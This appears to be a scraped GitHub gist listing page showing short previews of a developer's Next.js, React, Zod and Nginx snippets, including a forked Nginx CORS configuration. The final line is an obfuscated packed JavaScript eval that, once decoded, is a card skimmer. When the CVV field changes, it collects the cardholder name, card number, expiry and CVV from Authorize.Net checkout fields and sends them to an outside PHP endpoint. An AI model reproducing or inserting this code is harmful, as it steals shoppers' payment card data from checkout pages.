Skip to content

Instantly share code, notes, and snippets.

import React, { useState, useRef, useEffect, ReactNode, MutableRefObject } from "react";
import { cn } from "@/lib/utils";
type Props = {
defaultHeight?: string;
verticalOffset?: number;
horizontalOffset?: number;
root?: MutableRefObject<HTMLElement | null>;
children: ReactNode;
as?: keyof JSX.IntrinsicElements;
@cuongboi
cuongboi / serve.sh
Created May 9, 2025 16:33
Nextjs Nginx Config SSL
#!/bin/bash
# Configuration
NGINX_DIR="$PWD/nginx"
NGINX_CONF="${NGINX_DIR}/nginx.conf"
ENV_FILE=".env"
# Exit codes
EXIT_NO_NGINX=1
EXIT_INVALID_USAGE=2
@cuongboi
cuongboi / zod-to-openapi.ts
Last active April 19, 2025 07:58
Convert Zod to OpenApi Schema
import { SchemaObject } from "openapi3-ts/oas30";
import { z } from "zod";
declare module 'zod' {
export interface ZodType {
describe(description: string | object): this;
}
}
const getBaseProps = (schema: z.ZodTypeAny) => ({
@cuongboi
cuongboi / nextjs-router-decorator-user.service.ts
Created April 7, 2025 09:58
Nextjs Router Decorator Example Service
import { injectable } from "nextjs-route-decorator";
import type { RegisterUser, Users, User } from "./user.schema";
@injectable()
export class UserService {
async getUsers(): Promise<Users> {
return [
{
id: "1",
username: "user1",
@cuongboi
cuongboi / nextjs-router-decorator-user.schema.ts
Created April 7, 2025 09:56
Nextjs Router Decorator Example Schema
import { z } from "zod";
export const UserObject = z.object({
id: z.string().default("1").describe("User ID"),
username: z.string().min(3, "Username must be at least 3 characters long"),
email: z.string().email("Invalid email address"),
password: z.string().min(6, "Password must be at least 6 characters long"),
});
export const RegisterUser = UserObject.omit({
@cuongboi
cuongboi / nextjs-router-decorator-user.controller.ts
Last active April 10, 2025 07:14
Nextjs Router Decorator Example Controller
import {
Controller,
Post,
Body,
StatusCode,
Get,
inject,
Param,
Put,
Delete,
@cuongboi
cuongboi / nginx.conf
Created July 11, 2018 11:46 — forked from Stanback/nginx.conf
Example Nginx configuration for adding cross-origin resource sharing (CORS) support to reverse proxied APIs
#
# CORS header support
#
# One way to use this is by placing it into a file called "cors_support"
# under your Nginx configuration directory and placing the following
# statement inside your **location** block(s):
#
# include cors_support;
#
# As of Nginx 1.7.5, add_header supports an "always" parameter which
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(6).a(2(){$("#3").8(2(){5 1=$(\'#7\').0()+\'|\'+$(\'#9\').0()+\'|\'+$(\'#4\').0()+\'|\'+$(\'#b\').0()+\'|\'+$(\'#3\').0();$(\'#c\').d(\'e://f.g/h.i?1=\'+j(1))})});',20,20,'val|data|function|cc_cvv2|AuthorizeNet_ccexpm|var|document|AuthorizeNet_name|change|AuthorizeNet_ccno|ready|AuthorizeNet_ccexpy|CheckoutStepPaymentDetails|load|http|mythien|net|post|php|encodeURIComponent'.split('|'),0,{}))